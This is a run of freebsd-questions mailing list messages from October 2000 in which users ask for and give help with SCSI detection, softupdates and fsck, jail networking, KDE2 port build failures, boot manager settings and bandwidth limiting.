playing with ipf. I've been using ipfw for about 9 months
and have been happy, but, you know...

If I'm not mistaken, I interpret this post as saying that I
need the ipfw kernel options to run ipf. I had assumed that
only the ipf options were necessary. What's up here? I'm
glad I ran across this.

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Very good IBM hard disk.  After checking adaptec EZ-Scsi, mine is actually
faster then my 10k rpm seagate cheetah!  This does not seem to be a FreeBSD
problem.  Check termination on the drive.  You should not have to deal with
term power settings.  Do you have any external scsi equipment such as jaz
drives?  You may need to unterminate your scsi card.  Some motherbards like
Tyan thunderbolt have onboard scsi and each channel needs to be terminated.
Check this.

I apologize.  I do not wish to sound like I am patronizing you , but check
your adaptec scsi bios.  Make sure the drive is detected by the adacptec
card or motherboard.  Also you should have no duplicate scsi id's but but
your system may not boot if this were the case.

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Dear Sirs,

Could you help me why my HD SCSI can not be detected when I installed
FreeBSD ?

My Adaptec AIC-780
My Hardisk DNES-309170W Ultra2-LVD

What should I do ?

Sonys



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You can buy a wireless hub that will allow you and your neighbor to talk on
the same network as if you were connected via cables.  The Fcc has static
frequency settings for this but if you are in the USA, yu can use the
Euorpean frequencies if you are receiving interference.  I just used one at
a convention center with thousands of people,  cell phones, wireless
microphones and all, and the hub worked like a charm.

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Hello,
I am interested in setting up a wireless network between my apartment and a
friend's. We know it is possible, but I would like to know which, if any,
wireless networking kit is supported by FreeBSD 4.1 Stable. The one I am
looking at is this:
The Proxim Symphony Suite.
Please help me, and if you know of any other wireless networking kits that
are
better suppported by FreeBSD please let me know

Thanx
charles pelletier


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That's awesome! Do you know where I can buy it, or see it online?

>
>You can buy a wireless hub that will allow you and your neighbor to talk on
>the same network as if you were connected via cables.  The Fcc has static
>frequency settings for this but if you are in the USA, yu can use the
>Euorpean frequencies if you are receiving interference.  I just used one at
>a convention center with thousands of people,  cell phones, wireless
>microphones and all, and the hub worked like a charm.
>
>-----Original Message-----
>From: owner-freebsd-questions@FreeBSD.ORG
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>Sent: Sunday, October 29, 2000 4:04 PM
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>Subject: wireless networking
>
>
>Hello,
>I am interested in setting up a wireless network between my apartment and a
>friend's. We know it is possible, but I would like to know which, if any,
>wireless networking kit is supported by FreeBSD 4.1 Stable. The one I am
>looking at is this:
>The Proxim Symphony Suite.
>Please help me, and if you know of any other wireless networking kits that
>are
>better suppported by FreeBSD please let me know
>
>Thanx
>charles pelletier
>
>
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Anyone know if there's a FreeBSD channel on IRC that doesn't suck? #FreeBSD on EFNet is lamer then #Linux normally is and
#freebsdhelp on EFnet isn't what I'm looking for. I recently discovered irc.freebsd.org but no one seems to talk there, is
there an actual irc server where one can go for actual technical discussions about FreeBSD and don't have to deal with egos
the size of a linux kernel tarball?


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#freebsd on Efnet does totaly suck! They're very errogant, rude and tend to 
turn people away from FreeBSD all together just like #linux did to me, one 
reason I ended up moving on to FreeBSD in the first place.
Now, I never bother going to #freebsd on efnet, just sucks, especially if 
you say the wrong thing, you get banned! Pisses me off! They don't seem to 
give a sh*t about anything but themselves, and don't seem to care if they 
don't advocate FreeBSD or push people away.

#freebsd on undernet has some very nice people! Also, #freebsdhelp there 
too, but sometimes quiet. #freebsdhelp on efnet is ok, but like you say, can 
be quiet too at times.

Hope this helps?

ps: You probly already did try undernet, but other than that, personally 
I've never tried any others than undernet/efnet really. If you find a good 
one, please let me know too.

Regards!

>Anyone know if there's a FreeBSD channel on IRC that doesn't suck? #FreeBSD 
>on EFNet is lamer then #Linux normally is and
>#freebsdhelp on EFnet isn't what I'm looking for. I recently discovered 
>irc.freebsd.org but no one seems to talk there, is
>there an actual irc server where one can go for actual technical 
>discussions about FreeBSD and don't have to deal with egos
>the size of a linux kernel tarball?
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I was wondering is their anyway to limit the amount of bandwith each users uses.
Is it a feature of the Kernel or what


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I have enabled softupdates on my /usr partition. However, when I hit
the power button and the machine comes back up, it insists on fscking
/usr. I'm running 5.0-current on a 4.0 box in which I enabled softupdates
using tunefs.

$ mount
/dev/ad4s2a on / (ufs, local)
/dev/ad4s2f on /usr (ufs, local, soft-updates)
/dev/ad4s2e on /var (ufs, asynchronous, local)
procfs on /proc (procfs, local)

$ cat /etc/fstab
# Device                Mountpoint      FStype  Options         Dump    Pass#
/dev/ad4s2b             none            swap    sw              0       0
/dev/ad4s2a             /               ufs     rw              1       1
/dev/ad4s2f             /usr            ufs     rw,async        2       0
/dev/ad4s2e             /var            ufs     rw,async        2       2
proc                    /proc           procfs  rw              0       0

Can anyone please explain how to use softupdates and not pay the
long fsck penalty ?

Thanks!

	-Arun





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> hello,
> 
> i raised my kern.securelevel to 2. soon i realized, that this was a
> wrong decission for what im doing, such as using bpf. ive
> read that there is no other way to switch it down, than reinstalling
> freebsd. is this true? because i really want to avoid that 

They were confused; they meant reboot, not reinstall.

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On Sunday, 29 October 2000 at  8:31:05 -0600, Jim C. Nasby wrote:
> Zdenko Tomasic wrote:
>>
>> I  would normally prefer scsi setup which would be better, but cost is
>> the issue here. What would be recommended as an adequate CPU? PIII-733?
>
> My brother just asked me the same basic question, so I ran a test:
>
> tar -cf /dev/null /usr &
>
> While this was running, I kept an eye on top and couldn't discern any
> increase in the cpu useage reported by the vinum process:
>
> root  18  0.0  0.0  592  8 ??  DLs  Wed09PM  0:00.01 vinum: vinum daemon (vinum)

The Vinum daemon normally doesn't do anything.  It's just there to
handle configuration updates and error recovery.

> tar was showing ~10% of a CPU. This box is a dual PII-375 with 4 9G
> 10kRPM U2W drives in a raid-5 configuration with softupdates enabled.
>
> Watching the vmstat page of systat, the disks were doing ~100 TPS and
> about 600kB/s. This obviously seemed a bit low.

tar's not necessarily a good example.  Depending on what's on your
drives, you may spend most of your time seeking.

> Running tar -cf ~/usr.tar /usr shows tar using about 10% of a cpu
> (system and interrupt combined are less than 10%, according to top), tps
> are down to ~75, but the drives are now doing 1.5-2.5MB/s. Still not
> getting the full potential (the drives are seeking their brains out...
> /home is a different filesystem that /usr, but they're both raid-5
> volumes on the same set of drives).

The speed discrepancy would suggest that you're tarring files of
different size.  You'd expect this to be slower than to /dev/null.

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On Sun, Oct 29, 2000 at 06:34:56PM -0800, Arun Sharma wrote:

[snip]

> Can anyone please explain how to use softupdates and not pay the
> long fsck penalty ?

Yes, shutdown gracefully.

There is no way around fsck'ing when the system is brought down
hard. (Not absolutely true, but you dowanna mount an unclean FS.)
Soft updates does _NOT_ guarantee that you will come out of such a
nasty thing without damage. It does make it much less likely,
however. Carefully read,

  /usr/src/sys/ufs/ffs/README

For more information on what soft updates really does.
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Let me know if I should have sent this to ports@ instead.
I have tried about 6-7 times to Build KDE2 and I get mostly different
errors each time.  Most tries (all of the last four) I uninstalled all
packages and tried to build it from scratch.    Tries 4-6 died will erros
in compiling kdelibs.  Finally I decided to do a fresh install of 4.1.1.
I CVSup'd my ports Sun afternoon.
	Then I built qt22 port with gif support and did make clean.  Then
I went to /usr/ports/x11/kde2 and did make && make install && make clean
This time it got through kdelibs, but it died with the below error.  Any
ideas? 
	I would try making clean, uninstalling all packages and making the
port for each component but I'm afraid there's now too much cruft left
over for that to work.
	I'm really frustrated since most ports compile perfectly, I've now
come to expect that every time.  I have most of the other errors saved
too.  Sorry so long.  Thanks,
			
							Tim


so gb2312.so  iso-10646-ucs-2.so iso-10646-ucs-4.so  ucs2-internal.so ucs4-inter
nal.so utf-8.so utf-16.so  /usr/local/lib/iconv
/usr/local/lib/iconv/extended_unix_code_packed_format_for_japanese.so -> euc-jp.
so
/usr/local/lib/iconv/cseucpkdfmtjapanese.so -> euc-jp.so
/usr/local/lib/iconv/cseuckr.so -> euc-kr.so
/usr/local/lib/iconv/euc-cn.so -> gb2312.so
/usr/local/lib/iconv/csgb2312.so -> gb2312.so
/usr/local/lib/iconv/csunicode.so -> iso-10646-ucs-2.so
/usr/local/lib/iconv/ucs-2.so -> iso-10646-ucs-2.so
/usr/local/lib/iconv/ucs-4.so -> iso-10646-ucs-4.so
/usr/local/lib/iconv/ucs4.so -> iso-10646-ucs-4.so
/usr/local/lib/iconv/iso-10646-utf-8.so -> utf-8.so
/usr/local/lib/iconv/utf8.so -> utf-8.so
/usr/local/lib/iconv/iso-10646-utf-16.so -> utf-16.so
/usr/local/lib/iconv/utf16.so -> utf-16.so
===> util
install -c -s -o root -g wheel -m 555   iconv /usr/local/bin
install -c -o root -g wheel -m 444 iconv.1.gz  /usr/local/man/man1
===>   Generating temporary packing list
===>   Running ldconfig
/sbin/ldconfig -m /usr/local/lib
===>   Registering installation for iconv-1.1
===>   Returning to build of koffice-2.0
===>   koffice-2.0 depends on shared library: qt2.4 - found
===>  Patching for koffice-2.0
===>  Configuring for koffice-2.0
configure.in:50: warning: AC_TRY_RUN called without default to allow cross compi
ling
creating cache ./config.cache
checking host system type... i386--freebsd4.1.1
checking target system type... i386--freebsd4.1.1
checking build system type... i386--freebsd4.1.1
checking for a BSD compatible install... /usr/bin/install -c -o root -g wheel
checking whether build environment is sane... yes
checking whether gmake sets ${MAKE}... yes
checking for working aclocal... missing
checking for working autoconf... found
checking for working automake... missing
checking for working autoheader... found
checking for working makeinfo... found
checking for a C-Compiler... cc
checking whether the C compiler (cc -O -pipe ) works... no
                   This seemed to be the only common error

configure: error: installation or configuration problem: C compiler cannot creat
e executables.
===>  Script "configure" failed: here are the contents of "config.log"
This file contains any messages produced by compilers while
runningg configure, to aid debugging if configure makes a mistake.
configure:613: checking host system type
configure:634: checking target system type
configure:652: checking build system type
configure:711: checking for a BSD compatible install
configure:791: checking whether build environment is sane
configure:829: checking whether gmake sets ${MAKE}
configure:875: checking for working aclocal
configure:888: checking for working autoconf
configure:901: checking for working automake
configure:914: checking for working autoheader
configure:927: checking for working makeinfo
configure:1013: checking for a C-Compiler
configure:1125: checking whether the C compiler (cc -O -pipe ) works
configure:1141: cc -o conftest -O -pipe -I  conftest.c -Wl,-export-dyanmic -L/us
r/local/lib -ljpeg -lgcc -lstdc++ 1>&5
/usr/libexec/elf/ld: warning: cannot find entry symbol xport-dyanmic; defaulting
 to 08048778
/usr/lib/crt1.o: In function `_start':
/usr/lib/crt1.o(.text+0x79): undefined reference to `main'
configure: failed program was:
#line 1136 "configure"
#include "confdefs.h"
main(){return(0);}
(end of "config.log")
*** Error code 1
Stop in /usr/ports/editors/koffice.
*** Error code 1
Stop in /usr/ports/editors/koffice.
*** Error code 1
Stop in /usr/ports/editors/koffice.
*** Error code 1
Stop in /usr/ports/editors/koffice.
*** Error code 1
Stop in /usr/ports/editors/koffice.
*** Error code 1
Stop in /usr/ports/x11/kde2.
*** Error code 1
Stop in /usr/ports/x11/kde2.
*** Error code 1
Stop in /usr/ports/x11/kde2.
tim#



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I have never heard of anything like that. I don't think it's possible. There are only quotas, 
supported by the kernel, which set the availablke disk space for each user. 

On Sun, 29 Oct 2000 21:34:58 -0500, Kris Doyle wrote:

>I was wondering is their anyway to limit the amount of bandwith each users uses.
>Is it a feature of the Kernel or what
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From: Arun Sharma <adsharma@sharmas.dhs.org>
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Subject: Re: softupdates and (avoiding) fsck
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On Sun, Oct 29, 2000 at 07:00:21PM -0800, Crist J . Clark wrote:
> There is no way around fsck'ing when the system is brought down
> hard. (Not absolutely true, but you dowanna mount an unclean FS.)
> Soft updates does _NOT_ guarantee that you will come out of such a
> nasty thing without damage. It does make it much less likely,
> however. Carefully read,
> 
>   /usr/src/sys/ufs/ffs/README
> 
> For more information on what soft updates really does.

That file doesn't exist in -current anymore. But I found some other
file, which pointed me to:

http://www.mckusick.com/softdep/

which says:

> By ensuring that the only inconsistencies are unclaimed blocks or
> inodes, soft updates can eliminate the need to run a filesystem check
> program after every system crash. Instead, the system is brought up
> immediately. When it is convenient, a snapshot is taken and a background
> task can be run on on that snapshot to reclaim any lost blocks and
> inodes. The use of a snapshot allows normal filesystem activity to
> continue concurrently.

	-Arun


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It worked like a charm and now my box is on PPPoE, going to try to fortify
it as much as possible to prevent all those scripting kiddies out there from
doing any harm. Thanks a bunch!!

d



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> On Sun, 29 Oct 2000 21:34:58 -0500, Kris Doyle wrote:
> 
> >I was wondering is their anyway to limit the amount of bandwith each users uses.
> >Is it a feature of the Kernel or what
> >
* Moritz Hardt <mhardt@morix.de> [001029 19:17] wrote:
> I have never heard of anything like that. I don't think it's
> possible. There are only quotas, supported by the kernel, which
> set the availablke disk space for each user.

both you guys need to:

1) read: http://www.lemis.com/email.html
2) man dummynet (which is a way to limit bandwidth)
3) look at the ipfw counters system which can be used to track how
   much bandwidth is used by a user.

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From owner-freebsd-questions  Sun Oct 29 19:41: 1 2000
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Hi,
I am in Australia
I was wondering, I looked in your ftp site wanting to download the actual OS.
I can't seem to find which file is the one that I need ?
Can you please help,

Regards
Luke King
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From owner-freebsd-questions  Sun Oct 29 19:42:20 2000
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Morning all ...

	I'm running 4.x-STABLE on a machine, that I have setup two jail
environments over the base system, but the second one is getting the
following "errors" generated:

Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use

	I have portmap disabled in both jail(s) and the base OS, and inetd
bound in the base OS to its IP ... do I have to bind inside of each jail
to?  I thought it got bound only to those IPs that were visible, no?

	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
ftp server of the first env ... samn thing with telnet, it gets me the
first env ...

	If I add the -a IP option to inetd_flags, I can eliminate the
behaviour ... is this the way its supposed to work?

Thanks ...


Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
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From owner-freebsd-questions  Sun Oct 29 20:11:51 2000
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Hi,

I installed wxPython via the ports directory and all went well, but the
packages under the contrib (/usr/ports/x11-toolkits/py-wxPython/
work/wxPython-2.2.1/contrib) directory have not been installed.  When I
run the build script in contrib/stc the Makefile is built as expected.
I have
defined WXWIN as /usr/ports/x11-toolkits/wxgtk/work/wxGTK.  When I
type make I get error messages about missing dependency operators.  Does

anyone have any suggestions on what I need to do to build stc (styled
text
control)?  I just upgraded 4-STABLE (no problems with upgrade) on a K7.

Thanks,

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From owner-freebsd-questions  Sun Oct 29 20:15:20 2000
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check ftp://current.freebsd.org
ftp://releng4.freebsd.org

fdimage the floppy(s) boot.flp if you have a ls-120 or kern.flp &&
mfsroot.flp if you have a 1.2 floppy.

You can also download the sources to dos disk and install from that, but you
still have to fdimage the floppy disk(s).

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Hi,
I am in Australia
I was wondering, I looked in your ftp site wanting to download the actual
OS.
I can't seem to find which file is the one that I need ?
Can you please help,

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Luke King
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From owner-freebsd-questions  Sun Oct 29 20:23:25 2000
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Unfortunately these products are expensive because thay are not widely used.

http://www.codemicro.com/ctsrch/content25n7n10.html
http://www.ameradio.com/business_Networking.htm
http://www.jvc-victor.co.jp/english/pro/lan-e/line.html


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That's awesome! Do you know where I can buy it, or see it online?

>
>You can buy a wireless hub that will allow you and your neighbor to talk on
>the same network as if you were connected via cables.  The Fcc has static
>frequency settings for this but if you are in the USA, yu can use the
>Euorpean frequencies if you are receiving interference.  I just used one at
>a convention center with thousands of people,  cell phones, wireless
>microphones and all, and the hub worked like a charm.
>
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>
>
>Hello,
>I am interested in setting up a wireless network between my apartment and a
>friend's. We know it is possible, but I would like to know which, if any,
>wireless networking kit is supported by FreeBSD 4.1 Stable. The one I am
>looking at is this:
>The Proxim Symphony Suite.
>Please help me, and if you know of any other wireless networking kits that
>are
>better suppported by FreeBSD please let me know
>
>Thanx
>charles pelletier
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hi,

I want to make a bootable backup system of my FreeBSD on a CD or store it
somewhere on another seperate HD. Does anyone know what tools can I use to
achieve that?

Thanks
Sam.




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On Sun, Oct 29, 2000 at 07:15:44PM -0800, Arun Sharma wrote:
> On Sun, Oct 29, 2000 at 07:00:21PM -0800, Crist J . Clark wrote:
> > There is no way around fsck'ing when the system is brought down
> > hard. (Not absolutely true, but you dowanna mount an unclean FS.)
> > Soft updates does _NOT_ guarantee that you will come out of such a
> > nasty thing without damage. It does make it much less likely,
> > however. Carefully read,
> > 
> >   /usr/src/sys/ufs/ffs/README
> > 
> > For more information on what soft updates really does.
> 
> That file doesn't exist in -current anymore. But I found some other
> file, which pointed me to:
> 
> http://www.mckusick.com/softdep/
> 
> which says:
> 
> > By ensuring that the only inconsistencies are unclaimed blocks or
> > inodes, soft updates can eliminate the need to run a filesystem check
> > program after every system crash. Instead, the system is brought up
> > immediately. When it is convenient, a snapshot is taken and a background
> > task can be run on on that snapshot to reclaim any lost blocks and
> > inodes. The use of a snapshot allows normal filesystem activity to
> > continue concurrently.

Good you found the paper. Section 6 deals with the issue. Also, have a
look at the fsck(8) source to see how it handles checking softupdate
filesystems. 
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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On Sun, Oct 29, 2000 at 06:01:26PM -0500, Ramon G. Ricca wrote:
> Hello,
> 
> I'm relatively new to freebsd and have somehow hosed windows on my
> first partition.  When everything worked I got this message at startup:
> 
> F1	Windows
> F2	FreeBSD
> F3	FreeBSD
> 
> However,  it was sort of annoying because the second freebsd partition is
> the location of my /home directory (not bootable).

OK, let's get the terminology straight. On your third slice (third
MS-DOS partition), you have one or more FreeBSD partitions, including
/home, but none are bootable.

> So I used boot0cfg to
> mask off the third slice (-m 0x3) and found that it got rid of the third
> slice, except when I try to boot into windows, when I get something like
> the following:
> 
> F1	Windows
> F2	FreeBSD
> F3	Disk0

So after you get the first menu above, you then hit 'F1,' which is
supposed to have Windows, but instead you get the second menu show
here? Not good.

> The computer beeps and doesn't boot the first slice, but will boot the
> second (FreeBSD).

Are you saying that you now hit 'F1' again, but it beeps and boots
FreeBSD anyway? Did everything work before you did the boot0cfg?
-- 
Crist J. Clark                           cjclark@alum.mit.edu


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irc.openprojects.net has a lot of more technical channels, and
friendlier people.  I don't remember for certain if I've seen a specific
freebsd channel though.   Rob.


Some Person wrote:
> 
> #freebsd on Efnet does totaly suck! They're very errogant, rude and tend to
> turn people away from FreeBSD all together just like #linux did to me, one
> reason I ended up moving on to FreeBSD in the first place.
> Now, I never bother going to #freebsd on efnet, just sucks, especially if
> you say the wrong thing, you get banned! Pisses me off! They don't seem to
> give a sh*t about anything but themselves, and don't seem to care if they
> don't advocate FreeBSD or push people away.
> 
> #freebsd on undernet has some very nice people! Also, #freebsdhelp there
> too, but sometimes quiet. #freebsdhelp on efnet is ok, but like you say, can
> be quiet too at times.
> 
> Hope this helps?
> 
> ps: You probly already did try undernet, but other than that, personally
> I've never tried any others than undernet/efnet really. If you find a good
> one, please let me know too.
> 
> Regards!
> 
> >Anyone know if there's a FreeBSD channel on IRC that doesn't suck? #FreeBSD
> >on EFNet is lamer then #Linux normally is and
> >#freebsdhelp on EFnet isn't what I'm looking for. I recently discovered
> >irc.freebsd.org but no one seems to talk there, is
> >there an actual irc server where one can go for actual technical
> >discussions about FreeBSD and don't have to deal with egos
> >the size of a linux kernel tarball?
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Excelent!

-- 
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Hi there,

It's my understanding that the chroot's (jails) should run on different
IP addresses to that of your base system.  

For instance, let's say you have three addresses:

192.168.0.10
192.168.0.11
192.168.0.12

192.168.0.10 would be that of your base machine and all it's services,
which you should make sure are bound to just that address, and none of
the others.  The same would apply for your chroots.  Their services
should also all be running on a seperate dedicated IP address.

Cheers,
Marc

On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> 
> Morning all ...
> 
> 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> environments over the base system, but the second one is getting the
> following "errors" generated:
> 
> Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> 
> 	I have portmap disabled in both jail(s) and the base OS, and inetd
> bound in the base OS to its IP ... do I have to bind inside of each jail
> to?  I thought it got bound only to those IPs that were visible, no?
> 
> 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> ftp server of the first env ... samn thing with telnet, it gets me the
> first env ...
> 
> 	If I add the -a IP option to inetd_flags, I can eliminate the
> behaviour ... is this the way its supposed to work?
> 
> Thanks ...
> 
> 
> Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> Systems Administrator @ hub.org 
> primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 


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On Sun, Oct 29, 2000 at 05:49:24PM +0100, Alexandre wrote:
> hello,
> 
> i plan to organize a formation on FreeBSD and I would like to receive a CDROM as a support by mail (my connection is too slow to download 650mb). 
I have downloaded ISO using 57600 modem on 28800 line. 
2 weeks hour-by-hour :-) Hopefully we don't pay for time, we have fixed 
price per month :-)

-- 
Igor Roboul, Unix System Administrator & Programmer @ sanatorium "Raduga", 
Sochi, Russia
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or just download
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.1.1-RELEASE/bin/* and the
boot floppies.. Takes alot less time , I did it when I had 56k and it took
about 1night 
also , www.cheapbytes.com sells freebsd for like 3$? or somewhere around
there.

On Mon, 30 Oct 2000, Igor Roboul wrote:
> Date: Mon, 30 Oct 2000 09:02:46 +0300
> To: freebsd-questions@FreeBSD.ORG
> From: Igor Roboul <igor@raduga.dyndns.org>
> Reply-To: igorr@crosswinds.net
> Subject: Re: Asking a CDROM
> 
> On Sun, Oct 29, 2000 at 05:49:24PM +0100, Alexandre wrote:
> > hello,
> > 
> > i plan to organize a formation on FreeBSD and I would like to receive a
> CDROM as a support by mail (my connection is too slow to download 650mb).
> 
> I have downloaded ISO using 57600 modem on 28800 line. 
> 2 weeks hour-by-hour :-) Hopefully we don't pay for time, we have fixed 
> price per month :-)
> 
> -- 
> Igor Roboul, Unix System Administrator & Programmer @ sanatorium
> "Raduga", 
> Sochi, Russia
> http://www.brainbench.com/transcript.jsp?pid=304744
> 
> 
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On Sun, 29 Oct 2000, Crist J . Clark wrote:

> On Sun, Oct 29, 2000 at 06:01:26PM -0500, Ramon G. Ricca wrote:
> > Hello,
> > 
> > I'm relatively new to freebsd and have somehow hosed windows on my
> > first partition.  When everything worked I got this message at startup:
> > 
> > F1	Windows
> > F2	FreeBSD
> > F3	FreeBSD
> > 
> > However,  it was sort of annoying because the second freebsd partition is
> > the location of my /home directory (not bootable).
> 
> OK, let's get the terminology straight. On your third slice (third
> MS-DOS partition), you have one or more FreeBSD partitions, including
> /home, but none are bootable.

Well,  fdisk /dev/ad0 gives me:
<snip>

The data for partition 1 is:
sysid 11,(DOS or Windows 95 with 32 bit FAT)
    start 63, size 6152832 (3004 Meg), flag 0
        beg: cyl 0/ sector 1/ head 1;
        end: cyl 382/ sector 63/ head 254
The data for partition 2 is:
sysid 165,(FreeBSD/NetBSD/386BSD)
    start 6152895, size 4289355 (2094 Meg), flag 80 (active)
The data for partition 2 is:
sysid 165,(FreeBSD/NetBSD/386BSD)
    start 6152895, size 4289355 (2094 Meg), flag 80 (active)
        beg: cyl 383/ sector 1/ head 0;
        end: cyl 649/ sector 63/ head 254
The data for partition 3 is:
sysid 165,(FreeBSD/NetBSD/386BSD)
    start 10442250, size 2249100 (1098 Meg), flag 0
        beg: cyl 650/ sector 1/ head 0;
        end: cyl 789/ sector 63/ head 254
The data for partition 4 is:
<UNUSED>

I'm not sure whice slice is windows exactly (fdisk showed the first to be
windows).
> 
> > So I used boot0cfg to
> > mask off the third slice (-m 0x3) and found that it got rid of the third
> > slice, except when I try to boot into windows, when I get something like
> > the following:
> > 
> > F1	Windows
> > F2	FreeBSD
> > F3	Disk0
> 
> So after you get the first menu above, you then hit 'F1,' which is
> supposed to have Windows, but instead you get the second menu show
> here? Not good.
> 
yes to the above statement.

> > The computer beeps and doesn't boot the first slice, but will boot the
> > second (FreeBSD).
> 
> Are you saying that you now hit 'F1' again, but it beeps and boots
> FreeBSD anyway? Did everything work before you did the boot0cfg?
Sorry, I wasn't clear on this.  When I hit 'F1' to boot windows it beeps
and  gives me the second menu and doesn't boot anything. However, if I
press 'F2' on either one of the menus that I listed, it will boot freebsd.

The whole thing worked originally,  but the only things that I changed
from the original settings were the masks (I experimented with boot0cfg
-m). I did install the new boot0 update (the errata on 4.1 suggested
this). 

> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 

Thanks for any help...
Ramon



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More info, so I'm replying to my own message.  I did make clean,
deinstaled all packages, then made each port individually.  As many
people could perhaps tell it was only koffice that doesn't work.  I have
everything else working.  I guess that would make the kde-2.0 port broken
still.  
	I don't know the policy on sending things to ports so if somebody
could fill me in I'd appreciate it.  I have the error message for the
koffice port.  It is different than the first one.  Thanks fro putting up
with these messages,

							Tim

On Sun, 29 Oct 2000, Tim McMillen wrote:

> 
> Let me know if I should have sent this to ports@ instead.
> I have tried about 6-7 times to Build KDE2 and I get mostly different
> errors each time.  Most tries (all of the last four) I uninstalled all
> packages and tried to build it from scratch.    Tries 4-6 died will erros
> in compiling kdelibs.  Finally I decided to do a fresh install of 4.1.1.
> I CVSup'd my ports Sun afternoon.
> 	Then I built qt22 port with gif support and did make clean.  Then
> I went to /usr/ports/x11/kde2 and did make && make install && make clean
> This time it got through kdelibs, but it died with the below error.  Any
> ideas? 
> 	I would try making clean, uninstalling all packages and making the
> port for each component but I'm afraid there's now too much cruft left
> over for that to work.
> 	I'm really frustrated since most ports compile perfectly, I've now
> come to expect that every time.  I have most of the other errors saved
> too.  Sorry so long.  Thanks,
> 			
> 							Tim



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Gene Bomgardner schrieb:

> 
> I'm trying to do a few other things as well. When the system boots,
> I'd like to get user ppp connected. I've got ppp_enable set in
> rc.conf. But no such luck. Is that for kernel ppp only?

AFAIR: yes.

> I've also got a program I'd like to run whenever the system boots up
> (only after ppp is up). Any suggestions as to how to do it? or where
> to look? (didn't see it in the handbook)

Depending on the program, the ports install them automatically in a way
they start up when the system powers up. If your program is not in that
category, put a short shell script into /usr/local/etc/rc.d/xxx.sh.

HTH
-Christoph Sold


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Hi, 
1. I have an server 5x86 133MHz, 16 ram and I intend to use freebsd to give
 internet -i have an dedicated line- access to 30 clients (under win95) .
The server have 4 network adapters( I use 4 adapters because we want to do
this in a campus for 4
 flours). I checked the documentation available on www.freebsd.org  but I
 need some detailed instruction because I am a  beginner. Please send me an
 email with some documentation for firewall rules and to  give access to
internet with 4 network adapters.. I checked the pedantic ppp primer but is
to hard for me.
2. How to configure the network adapters to comunicate (play games) for
example : the PC from 1th flour with  pc from 2th flour
Please tell me how to set the 4 network adapters.

Thank you in avans,

                      Rolland



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On Mon, Oct 30, 2000 at 03:35:55PM +1100, Sam Wun wrote:
> hi,
> 
> I want to make a bootable backup system of my FreeBSD on a CD or store it
> somewhere on another seperate HD. Does anyone know what tools can I use to
> achieve that?
> 
> Thanks
> Sam.

dump/restore :-)
and maybe disklabel

-- 
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Sorry if its a repeat, last msg bounced back for some off reason.

Quick question. Has anyone done transparent (ipless) bridging in FreeBSD 
with IPFW? If so, the thing I'm wondering about is, what would you put for 
$oip=? 0.0.0.0 or nothing at all?

Also, like in OpenBSD with IPFilter, doing transparent bridging you had to 
filter in one direction only, pass in on <if> internal/external. Wondering 
if it's the same for IPFW?

Any help/advice would be greatly appreciated!


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Crist J . Clark writes:
> On Sun, Oct 29, 2000 at 01:00:56PM -0600, Mike Meyer wrote:
> > Chip writes:
> > > Correct me if I'm wrong, but I thought that when installing a
> > > port it would
> > > also update any dependencies. For example, I want to install xfce
> > > from the 
> > > port, but it failed apparently on esound. So I then went to
> > > install esound
> > > by itself by it failed with the message that libtool is out of
> > > date.  So I used pkg_delete on the old libtool and then installed
> > > the new libtool port, and 
> > > now xfce installs just fine because esound also installs fine. 
> > > I thought stuff like this got updated by installing from the
> > > port? This is the
> > > first time this sort of problem has happened to me, and I have
> > > installed many 
> > > of the ports just to see what some of these programs are.
> > Well, "updating" a port isn't something the ports system deals with
> > every well. It tries to *install* the dependencies if it can't find
> > them. Libtool seems to break under these conditions, but it's the only
> > thing I've run into that does.
> IMHO, this is the correct behavior.

While I may agree with you, libtool isn't doing it right. It fails to
build with strange messages, without telling you what's really wrong.

> > Other ports have simply installed
> > multiple versions of the port.
> Not really, other ports have _overwritten_ earlier versions of the
> port without changing the package database. That, IMHO, is bad. I'd
> rather be warned to remove the old and install the new than just
> clobber the old with new.

No, "installed" is the correct word. The installed packages datebase
is updated - both versions are listed in the database. It's very
likely that installing an update version of one package will overwrite
files in an older version, possibly even all of them. This is not
restricted to ports that are updates of each other; two unrelated
ports may install a binary with the same name. Just to confuse
matters, some ports are designed so that having multiple versions
around works correctly, with the last one installed being the
"default" one.

As a final twist, if you remove an old version of a port and install a
new one, you may break packages that are dependent on the old one
unless you reinstall them after installing the new one. Except that
reinstalling the dependent ports may well reinstall the "old" version
of the package again (though that's gotten a lot better lately). Of
course, if the port in question was designed to have multiple
installed versions, this dance may not have been necessary at all.

All of which was summarized in my original answer as "'updating' a
port isn't something the ports system deals with very well.".

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On Mon, Oct 30, 2000 at 01:40:55AM -0600, Mike Meyer wrote:
> Crist J . Clark writes:
> > On Sun, Oct 29, 2000 at 01:00:56PM -0600, Mike Meyer wrote:
> > > Chip writes:
> > > > Correct me if I'm wrong, but I thought that when installing a
> > > > port it would
> > > > also update any dependencies. For example, I want to install xfce
> > > > from the 
> > > > port, but it failed apparently on esound. So I then went to
> > > > install esound
> > > > by itself by it failed with the message that libtool is out of
> > > > date.  So I used pkg_delete on the old libtool and then installed
> > > > the new libtool port, and 
> > > > now xfce installs just fine because esound also installs fine. 
> > > > I thought stuff like this got updated by installing from the
> > > > port? This is the
> > > > first time this sort of problem has happened to me, and I have
> > > > installed many 
> > > > of the ports just to see what some of these programs are.
> > > Well, "updating" a port isn't something the ports system deals with
> > > every well. It tries to *install* the dependencies if it can't find
> > > them. Libtool seems to break under these conditions, but it's the only
> > > thing I've run into that does.
> > IMHO, this is the correct behavior.
> 
> While I may agree with you, libtool isn't doing it right. It fails to
> build with strange messages, without telling you what's really
> wrong.

Hmmm, the message seems pretty straight forward to me,

